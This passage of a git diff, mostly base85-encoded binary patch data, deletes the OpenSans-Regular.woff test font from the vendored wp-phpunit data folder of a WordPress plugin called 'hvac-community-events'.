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 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff deleted file mode 100644 index bd0f824b207d6007f2164390dc9df31271c42119..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 63712 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 